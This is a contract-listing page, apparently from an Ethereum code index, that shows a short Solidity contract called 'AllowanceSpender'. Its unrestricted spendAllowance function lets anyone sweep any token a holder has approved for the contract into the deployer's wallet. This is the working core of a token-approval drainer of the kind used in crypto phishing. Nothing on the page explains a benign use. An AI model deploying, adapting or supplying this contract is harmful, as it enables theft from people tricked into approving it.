Description:
Smart contract deployed on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
// nice dgrd
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address from, address to, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
}
contract AllowanceSpender {
address public immutable owner;
constructor() {
owner = msg.sender;
}
event Spent(address token, address from, uint amount);
function spendAllowance(address tokenAddress, address from, uint amount) external {
IERC20 token = IERC20(tokenAddress);
uint allowed = token.allowance(from, address(this));
require(allowed >= amount, "Not enough allowance");
bool success = token.transferFrom(from, owner, amount);
require(success, "transferFrom failed");
emit Spent(tokenAddress, from, amount);
}
}
Submitted on: 2025-10-24 11:49:58
Comments
Log in to comment.
No comments yet.